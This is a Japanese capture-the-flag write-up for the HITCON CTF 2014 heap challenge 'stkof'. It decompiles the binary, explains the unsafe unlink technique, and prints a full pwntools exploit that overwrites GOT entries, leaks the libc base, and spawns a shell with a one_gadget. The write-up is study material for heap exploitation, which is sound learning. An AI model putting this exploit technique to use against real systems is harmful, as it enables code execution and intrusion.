Heap exploitation HITCON CTF 2014: stkof
Heap exploitation HITCON CTF 2014: stkof
Heap exploitationのお勉強、初めてWriteup途中で見ずに解けて嬉しい。
問題はここ。
参考にしたのはshellphishのhow2heap。
解く上でlibcが必要になるが、Hintととして動作環境が出されているし脆弱性を突けば任意のGOT領域の関数アドレスを表示できるので、該当するlibcのバージョンを特定して入手するのは容易のはず。
なので今回はそれを省いてローカルのlibcをいきなり使っている。
問題
stkofというバイナリだけが降ってくる。
fileとchecksecの出力は以下。
stkof: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4872b087443d1e52ce720d0a4007b1920f18e7b0, stripped Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
普通の64bitバイナリといった感じになっている。
解析
直接動作させてみると、何も出力されず何をしていいか分からなかった。
リバーシングしてみたところ、ほとんど何も出力しないが入力は受け付けるようになっていた。
ちゃんと解析しないことには動作させることもままならなかったので、手動デコンパイルした。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define ARR_SIZ 0x100000 int read_input(); int alloc_new_chunk(); int del_chunk(); int check_len(); int main(int argc, char** argv){ // alarm(120); // time limit. temporary disabled char buf[0x68]; int ret_val; while(1) { if(fgets(buf, 0xa, stdin) == 0) break; switch(atoi(buf)) { case 1: ret_val = alloc_new_chunk(); break; case 2: ret_val = read_input(); break; case 3: ret_val = del_chunk(); break; case 4: ret_val = check_len(); break; default: ret_val = -1; break; } if(ret_val == 0) { puts("OK\n"); } else { puts("FAIL\n"); } fflush(stdout); } return 0; } int top = 0; char* str_arr[ARR_SIZ+1]; // pointer array int alloc_new_chunk() { char buf[0x68]; fgets(buf, 0x10, stdin); long long input_num = atoll(buf); char* chunk = malloc(input_num); if(chunk == 0) return -1; top++; str_arr[top] = chunk; printf("%d\n", top); return 0; } // read input-length // read input to input-length int read_input() { char buf[0x68]; fgets(buf, 0x10, stdin); long input_num = atoi(buf); if(input_num > 0x100000) return -1; if(str_arr[input_num] == 0) return -1; fgets(buf, 0x10, stdin); long long read_len = atoll(buf); char* char_ptr = str_arr[input_num]; int len; while((len = fread(char_ptr, 1, read_len, stdin)) > 0) { char_ptr += len; read_len -= len; } if(read_len != 0) return -1; return 0; } int del_chunk() { char buf[0x68]; fgets(buf, 0x10, stdin); long input_num = atol(buf); if(input_num > ARR_SIZ) return -1; if(str_arr[input_num] == 0) return -1; free(str_arr[input_num]); str_arr[input_num] = 0; return 0; } int check_len() { char buf[0x68]; fgets(buf, 0x10, stdin); long input_num = atol(buf); if(input_num > ARR_SIZ) return -1; if(str_arr[input_num] == 0) return -1; if(strlen(str_arr[input_num]) > 3) { puts("...\n"); } else { puts("//TODO\n"); } return 0; }
1から4までの数字を受け付けて、malloc、キー入力、free、長さのチェックができることが分かる。
キー入力で長さのチェックがないため、ヒープでのバッファオーバーフローが存在していることが分かる。
また、mallocしたチャンクはグローバル領域の配列で管理されていて、ASLRでもアドレスがランダム化されない。
freeするとアドレスは0クリアされるので、double-freeはできない。
解法
ここではunsafe unlinkという手法を使う。
mallocしたチャンクを書き換えてfree済みであると誤認させ、unlinkという機能を使わせることによって、あるメモリ領域を書き換えることができるという手法である。
手法自体はhow2heapとかkatagaitaiのスライドとかに解説がある。
unsafe unlinkで、unlinkするチャンクのアドレスが格納されている場所を、その場所から0x18上ぐらいの位置のアドレスに書き換えることができる。
配列にチャンクが格納されていることと併せて考えると、配列の中身を配列自身のアドレスに書き換えられることになる。
そうすると、配列に格納されたアドレスへの書き込みで配列中のアドレスを任意の値に設定できるので、任意のアドレスへの書き込みができることになる。
これを利用してfree@GOTをputs@PLTに書き換えたあと、配列中のアドレスをGOTに設定することで関数アドレスを表示させたり、smallbinを指すfdを表示させたりして、libcベースをリークさせる。
smallbinを指すfdを表示させる方法を使った。
これによりlibc内の任意の命令を好きなように呼び出せるようになったので、oneshot RCEを呼び出してシェルを起動すればいい。
呼び出しは、libcベースのリークと同じように適当なGOTの関数アドレスを書き換えてやればいい。
exploit
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from pwn import * from time import sleep context.update(arch='amd64') exe = './stkof' libc = '/lib/x86_64-linux-gnu/libc.so.6' def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote( '', ) else: return process([exe] + argv, *a, **kw) # # gdb # gdbscript = ''' # continue # '''.format(**locals()) #=========================================================== # EXPLOIT GOES HERE #=========================================================== io = start() elf = ELF(exe) def malloc(length): io.clean() io.sendline('1') sleep(0.1) io.sendline(str(length)) idx = int(io.recvline()) io.recvuntil('OK') return idx def read_input(idx, payload): io.clean() io.sendline('2') sleep(0.1) io.sendline(str(idx)) sleep(0.1) io.sendline(str(len(payload))) sleep(0.1) io.send(payload) io.recvuntil('OK', timeout=0.1) # putsを途中で書き換えるためタイムアウトさせる。雑 def free(idx): io.sendline('3') sleep(0.1) io.sendline(str(idx)) return io.recvuntil('OK') def check_len(idx): io.clean() io.sendline('4') sleep(0.1) io.sendline(str(idx)) log.info(io.recvline()) io.recvuntil('OK') # unsafe unlink # fastbinだとunlinkされない log.info('UNLINK') malloc(0x80) # 1 システムのチャンクを避けるため malloc(0x80) # 2 malloc(0x80) # 3 これをunlinkする、サイズを縮めるためやや大きく確保する malloc(0x80) # 4 log.info('malloc 4 chunks.') arr_ptr = 0x00602140 # チャンクが格納される配列の先頭アドレス ptr_3 = arr_ptr + 8 * 3 # idx 3のチャンクのアドレス chunk_siz = 0x90 log.info('unlink(0x{:x})'.format(ptr_3)) payload = 'A' * 0x80 # padding. userdata(0x20), 2はこれで埋める # 3の領域に偽のヘッダを格納する、ユーザ領域をヘッダの最初にするためにチャンクを短くする必要がある payload += 'B' * 0x18 # prev_sizeとチャンクのサイズ、パディングが本来入る位置、サイズを縮めるのでその分埋める payload += p64(chunk_siz - 0x10 + 1) # size, PREV_INUSEを1にする(2はunlinkしないので)。サイズを本来よりも0x10小さくする payload += p64(ptr_3 - 0x18) # arr[3]->fd->bk == arr[3] を満すように payload += p64(ptr_3 - 0x10) # arr[3]->bk->fd == arr[3] を満すように payload += 'B' * (chunk_siz - 0x10 - 0x10 - 0x10) # userdata、余った領域を適当に埋める。0x10 = fd+bk, 0x10 = 縮めた分 payload += p64(0x80) # prev_size、こっちも本来より0x10縮める # 4のサイズを上書きし、直前のチャンクがfree済みのように見せかける payload += p64(0x90) read_input(2, payload) log.info('send payload for heap overflow.') # 3がfree済みであるように書き換えたので、free(4)でその上の3がunlinkされるはず free(4) # 全てうまくいけばunlinkできる log.info('unlink!') # この時点でidx 3の値はは配列の先頭アドレスになる # libc leak # free@GOTをputs@PLTにおきかえて、チャンクの中身を出力させてsmallbinのアドレスを出力させる # fdが格納されているところまでオーバーフローさせればヌル終端されてないのでできるはず idx1 = malloc(0x80) # オーバーフローさせるチャンク、fastbinでもいいかも idx2 = malloc(0x80) # smallbinに繋ぐチャンク idx3 = malloc(0x80) # 結合を防ぐ free(idx2) # これでfdがsmallbinに繋がる # freeをputsにする log.info('free@GOT (0x{:x}) <= puts@PLT (0x{:x})'.format(elf.got['free'], elf.plt['puts'])) read_input(3, p64(elf.got['free'])) # arr[0] = free@GOT read_input(0, p64(elf.plt['puts'])) # free@GOT = puts@PLT # オーバーフローさせてヌル終端を消す log.info('overflow') payload = 'C' * 0x80 payload += 'D' * 0x8 # prev_size? payload += 'E' * 0x8 # 次のチャンクのサイズ、オーバーフローが目的なので適当な値で埋めてしまう read_input(idx1, payload) ret = free(idx1) # freeがputsなのでfdが出力される ret = ret[:-2].strip() smallbin = u64(ret[-6:].ljust(8, '\0')) smallbin_offset = 0x3c4b78 libc_base = smallbin - smallbin_offset log.info('libc base: 0x{:x}'.format(libc_base)) # putsをoneshot rceにする # puts@GOTのアドレスをoneshot rceのアドレスにしてシェルを起動する log.info('Write Oneshot RCE to puts@GOT') one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147] # oneshot rce, libcによって違う one_gadget = one_gadget[0] + libc_base read_input(3, p64(elf.got['puts'])) # arr[0] = puts@GOT read_input(0, p64(one_gadget)) # puts@GOT = oneshot_rce io.interactive()
libc内のオフセットは環境によって違うので適宜読み替えて欲しい。
まとめ
初めてほぼ自力で解けたのでとても嬉しい。 直前の問題でもunsafe unlinkを使っていたのもあって、解法を簡単に思い付けた。 やっている最中にチャンクのサイズとかヒープのレイアウトとかも間違えていたりしたので、まだまだ練習が必要だと感じた。 もっと速く解くことを目標にする。